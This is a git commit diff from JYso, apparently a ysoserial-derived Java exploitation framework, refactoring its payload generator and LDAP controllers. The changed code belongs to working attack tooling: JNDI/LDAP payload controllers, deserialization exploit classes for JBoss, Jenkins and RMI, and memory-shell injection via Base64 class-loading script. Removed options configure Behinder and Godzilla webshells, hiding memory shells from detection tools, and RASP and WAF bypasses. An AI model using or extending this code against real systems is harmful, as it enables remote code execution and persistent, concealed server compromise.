fix: 修复不输出的BUG

This commit is contained in:
qi4l
2026-03-27 11:44:22 +08:00
parent 226d1fdb6c
commit bf82c88af4
20 changed files with 52 additions and 332 deletions
+1 -1
View File
@@ -1,6 +1,6 @@
package com.qi4l.JYso;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import org.apache.commons.collections4.map.CaseInsensitiveMap;
@@ -102,7 +102,6 @@ public class BasicController implements LdapController {
}
if (payloadType.contains("M-")) {
InjShell.init(params);
return Gadgets.createClassB(suffixAfterDash(payloadType));
}
@@ -94,7 +94,6 @@ public class ELProcessorController implements LdapController {
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
scriptBody = InjShell.injectClass(echoClass);
} else if (payloadType.contains("M-")) {
InjShell.init(params);
scriptBody = Gadgets.createClassT(suffixAfterDash(payloadType));
} else if (payloadType.contains("command")) {
scriptBody = helper.getExecCode(params[0]);
@@ -36,8 +36,8 @@ public class SerializedDataController implements LdapController {
byte[] bytes;
try {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload payload = payloadClass.newInstance();
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(params);
if (SerializedDataController.gadgetType.equals("JRE8u20")) {
@@ -1,6 +1,5 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
@@ -17,7 +16,6 @@ import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController {
private PayloadType type;
private String[] params;
@Override
@@ -81,12 +79,6 @@ public class XStreamController implements LdapController {
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Utils.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.jboss.remoting3.*;
import org.jboss.remoting3.Connection;
@@ -256,7 +256,7 @@ public class JBoss {
int c_start = msg.indexOf(':');
int c_end = msg.indexOf(' ', c_start + 2);
String cls = msg.substring(c_start + 2, c_end);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL " + cls + " (" + module + ")");
}
} else {
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javassist.ClassClassPath;
import javassist.ClassPool;
+1 -1
View File
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
@@ -1,6 +1,6 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.Config.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
import org.slf4j.Logger;
@@ -127,8 +127,10 @@ public class Config {
KEY_METHOD_MAP.put("org.springframework.web.server.WebFilter", "executePayload");
}
@SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"})
public static void applyCmdArgs(String[] args) {
//process cmd args
JCommander jc = JCommander.newBuilder()
.addObject(new Config())
.build();
@@ -1,22 +0,0 @@
package com.qi4l.JYso.gadgets.Config;
import java.util.ArrayList;
public class HookPointConfig {
public static ArrayList<String> BasicServletHook = new ArrayList<>();
public static ArrayList<String> TomcatFilterChainHook = new ArrayList<>();
static {
BasicServletHook.add("javax.servlet.http.HttpServlet");
BasicServletHook.add("service");
BasicServletHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
TomcatFilterChainHook.add("org.apache.catalina.core.ApplicationFilterChain");
TomcatFilterChainHook.add("doFilter");
TomcatFilterChainHook.add("javax.servlet.ServletRequest,javax.servlet.ServletResponse");
}
}
File diff suppressed because one or more lines are too long
@@ -1,6 +1,5 @@
package com.qi4l.JYso.controllers;
package com.qi4l.JYso.gadgets.Config;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
@@ -8,7 +7,10 @@ import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
@@ -20,6 +22,7 @@ import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
private static final Logger log = LoggerFactory.getLogger(ysoserial.class);
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
@@ -107,26 +110,10 @@ public class ysoserial {
Config.IS_UTF_Bypass = true;
}
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
if (cmdLine.hasOption("gen-mem-shell-name")) {
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
}
}
if (cmdLine.hasOption("hide-mem-shell")) {
Config.HIDE_MEMORY_SHELL = true;
if (cmdLine.hasOption("hide-type")) {
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
}
}
final String payloadType = cmdLine.getOptionValue("gadget");
final String command = cmdLine.getOptionValue("parameters");
//载入gadget
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(options);
@@ -137,7 +124,7 @@ public class ysoserial {
try {
//载入payload
ObjectPayload payload = payloadClass.newInstance();
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(command);
// 是否指定混淆
@@ -157,16 +144,18 @@ public class ysoserial {
if (Config.WRITE_FILE) {
out = Files.newOutputStream(Paths.get(Config.FILE));
} else if(Config.BASE64) {
out = new ByteArrayOutputStream();
} else {
out = System.out;
}
Serializer.qiserialize(object, out);
Serializer.qi_serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
out.flush();
out.close();
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
log.error(String.valueOf(e));
System.exit(1);
}
System.exit(0);
@@ -182,31 +171,12 @@ public class ysoserial {
options.addOption("f", "file", true, "Write Output into FileOutputStream (Specified FileName)");
options.addOption("o", "obscure", false, "Using reflection to bypass RASP");
options.addOption("i", "inherit", false, "Make payload inherit AbstractTranslet or not (Lower JDK like 1.6 should inherit)");
options.addOption("u", "url", true, "MemoryShell binding url pattern,default [/version.txt]");
options.addOption("pw", "password", true, "Behinder or Godzilla password,default [p@ssw0rd]");
options.addOption("gzk", "godzilla-key", true, "Godzilla key,default [key]");
options.addOption("hk", "header-key", true, "MemoryShell Header Check,Request Header Key,default [Referer]");
options.addOption("hv", "header-value", true, "MemoryShell Header Check,Request Header Value,default [https://QI4L.cn/]");
options.addOption("ch", "cmd-header", true, "Request Header which pass the command to Execute,default [X-Token-Data]");
options.addOption("gen", "gen-mem-shell", false, "Write Memory Shell Class to File");
options.addOption("n", "gen-mem-shell-name", true, "Memory Shell Class File Name");
options.addOption("h", "hide-mem-shell", false, "Hide memory shell from detection tools (type 2 only support SpringControllerMS)");
options.addOption("ht", "hide-type", true, "Hide memory shell,type 1:write /jre/lib/charsets.jar 2:write /jre/classes/");
options.addOption("rh", "rhino", false, "ScriptEngineManager Using Rhino Engine to eval JS");
options.addOption("ncs", "no-com-sun", false, "Force Using org.apache.XXX.TemplatesImpl instead of com.sun.org.apache.XXX.TemplatesImpl");
options.addOption("mcl", "mozilla-class-loader", false, "Using org.mozilla.javascript.DefiningClassLoader in TransformerUtil");
options.addOption("dcfp", "define-class-from-parameter", true, "Customize parameter name when using DefineClassFromParameter");
options.addOption("utf", "utf8-Overlong-Encoding", false, "UTF-8 Overlong Encoding Bypass waf");
options.addOption("he1", "Hessian1", false, "Hessian1 Output");
options.addOption("he2", "Hessian2", false, "Hessian2 Output");
options.addOption("b64", "base64", false, "base64 encoding");
options.addOption("xs", "XStream", false, "Xstream Output");
options.addOption("kryo", "Kryo", false, "Kryo Output");
options.addOption("jy", "JYaml", false, "JYaml Output");
options.addOption("js", "JsonIO", false, "JsonIO Output");
options.addOption("yb", "YamlBeans", false, "YamlBeans Output");
options.addOption("ca", "Castor", false, "Castor Output");
options.addOption("jk", "Jackson", false, "Jackson Output");
return options;
}
@@ -215,14 +185,14 @@ public class ysoserial {
System.err.println("[root]#~ Usage: java -jar JYso-[version].jar -y -g [payload] -p [command] [options]");
System.err.println("[root]#~ Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
final List<Class<? extends ObjectPayload<?>>> payloadClasses =
new ArrayList<>(ObjectPayload.Utils.getPayloadClasses());
payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<>();
rows.add(new String[]{"Payload", "Authors", "Dependencies"});
rows.add(new String[]{"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
for (Class<? extends ObjectPayload<?>> payloadClass : payloadClasses) {
rows.add(new String[]{
payloadClass.getSimpleName(),
StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
@@ -263,9 +263,9 @@ public class Gadgets extends ClassLoader {
return className;
}
public static HashMap<Object,?> maskmapToString(Object o1, Object o2) throws Exception {
Map<Object,?> tHashMap1 = (Map<Object,?>) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map<Object,?> tHashMap2 = (Map<Object,?>) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
public static HashMap maskmapToString(Object o1, Object o2) throws Exception {
Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1, null);
tHashMap2.put(o2, null);
Reflections.setFieldValue(tHashMap1, "loadFactor", 1);
@@ -2,26 +2,22 @@ package com.qi4l.JYso.gadgets.utils;
import com.qi4l.JYso.gadgets.Config.Config;
import javassist.*;
import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.CommandLineParser;
import org.apache.commons.cli.DefaultParser;
import org.apache.commons.cli.Options;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import static com.qi4l.JYso.controllers.ysoserial.getOptions;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
public class InjShell {
public static CommandLine cmdLine;
private static final Logger log = LoggerFactory.getLogger(InjShell.class);
// 恶心一下人,实际没用
public static String converString(String target) {
if (Config.IS_OBSCURE) {
StringBuilder result = new StringBuilder("new String(new byte[]{");
byte[] bytes = target.getBytes();
for (int i = 0; i < bytes.length; i++) {
result.append(bytes[i]).append(",");
for (byte aByte : bytes) {
result.append(aByte).append(",");
}
return result.substring(0, result.length() - 1) + "})";
}
@@ -51,7 +47,7 @@ public class InjShell {
}
//类加载方式,因类而异
public static String injectClass(Class clazz) {
public static String injectClass(Class<?> clazz) {
String classCode = null;
try {
@@ -59,7 +55,7 @@ public class InjShell {
classCode = Utils.getClassCode(clazz);
} catch (Exception e) {
e.printStackTrace();
log.error("e: ", e);
}
return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
@@ -74,96 +70,4 @@ public class InjShell {
" clazz.newInstance();\n" +
"};";
}
public static void init(String[] args) throws Exception {
final Options options = getOptions();
CommandLineParser parser = new DefaultParser();
try {
cmdLine = parser.parse(options, args);
} catch (Exception e) {
System.out.println("[*] Parameter input error, please use -h for more information");
System.exit(1);
}
if (cmdLine.hasOption("inherit")) {
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
}
if (cmdLine.hasOption("obscure")) {
Config.IS_OBSCURE = true;
}
if (cmdLine.hasOption("cmd-header")) {
Config.CMD_HEADER_STRING = cmdLine.getOptionValue("cmd-header");
}
if (cmdLine.hasOption("url")) {
String url = cmdLine.getOptionValue("url");
if (!url.startsWith("/")) {
url = "/" + url;
}
Config.URL_PATTERN = url;
}
if (cmdLine.hasOption("define-class-from-parameter")) {
Config.PARAMETER = cmdLine.getOptionValue("define-class-from-parameter");
}
if (cmdLine.hasOption("file")) {
Config.WRITE_FILE = true;
Config.FILE = cmdLine.getOptionValue("file");
}
if (cmdLine.hasOption("password")) {
Config.PASSWORD_ORI = cmdLine.getOptionValue("password");
Config.PASSWORD = generatePassword(Config.PASSWORD_ORI);
}
if (cmdLine.hasOption("godzilla-key")) {
Config.GODZILLA_KEY = generatePassword(cmdLine.getOptionValue("godzilla-key"));
}
if (cmdLine.hasOption("header-key")) {
Config.HEADER_KEY = cmdLine.getOptionValue("header-key");
}
if (cmdLine.hasOption("header-value")) {
Config.HEADER_VALUE = cmdLine.getOptionValue("header-value");
}
if (cmdLine.hasOption("no-com-sun")) {
Config.FORCE_USING_ORG_APACHE_TEMPLATESIMPL = true;
}
if (cmdLine.hasOption("mozilla-class-loader")) {
Config.USING_MOZILLA_DEFININGCLASSLOADER = true;
}
if (cmdLine.hasOption("rhino")) {
Config.USING_RHINO = true;
}
if (cmdLine.hasOption("utf8-Overlong-Encoding")) {
Config.IS_UTF_Bypass = true;
}
if (cmdLine.hasOption("gen-mem-shell")) {
Config.GEN_MEM_SHELL = true;
if (cmdLine.hasOption("gen-mem-shell-name")) {
Config.GEN_MEM_SHELL_FILENAME = cmdLine.getOptionValue("gen-mem-shell-name");
}
}
if (cmdLine.hasOption("hide-mem-shell")) {
Config.HIDE_MEMORY_SHELL = true;
if (cmdLine.hasOption("hide-type")) {
Config.HIDE_MEMORY_SHELL_TYPE = Integer.parseInt(cmdLine.getOptionValue("hide-type"));
}
}
}
}
@@ -2,28 +2,14 @@ package com.qi4l.JYso.gadgets.utils;
import com.caucho.hessian.io.*;
import com.cedarsoftware.util.io.JsonWriter;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import com.qi4l.JYso.gadgets.C3P0WrapperConnPool;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import com.thoughtworks.xstream.XStream;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.config.PropertyPathFactoryBean;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.InvocationTargetException;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.*;
import java.util.concurrent.Callable;
@@ -53,32 +39,31 @@ public class Serializer implements Callable<byte[]> {
}
public static void qiserialize(
public static void qi_serialize(
Object obj,
final OutputStream out
) throws Exception {
ByteArrayOutputStream outB64 = new ByteArrayOutputStream();
final ObjectOutputStream objOut;
if (IS_DIRTY_IN_TC_RESET) {
new SuObjectOutputStream(out);
objOut = new SuObjectOutputStream(out);
} else if (IS_UTF_Bypass) {
if (BASE64) {
new UTF8OverlongObjectOutputStream(outB64);
} else {
new UTF8OverlongObjectOutputStream(out);
}
objOut = new UTF8OverlongObjectOutputStream(out);
} else {
if (BASE64) {
new SuObjectOutputStream(outB64);
} else {
new SuObjectOutputStream(out);
}
objOut = new ObjectOutputStream(out);
}
if (BASE64) {
String encodedString = Base64.getEncoder().encodeToString(outB64.toByteArray());
System.out.println(encodedString);
ByteArrayOutputStream out_b64 = new ByteArrayOutputStream();
ObjectOutputStream objOut_b64 = new ObjectOutputStream(out_b64);
objOut_b64.writeObject(obj);
objOut_b64.flush();
String base64 = Base64.getEncoder().encodeToString(out_b64.toByteArray());
System.out.println(base64);
}
objOut.writeObject(obj);
}
protected static String writeObject(Class<?> clazz, Map<String, String> properties) {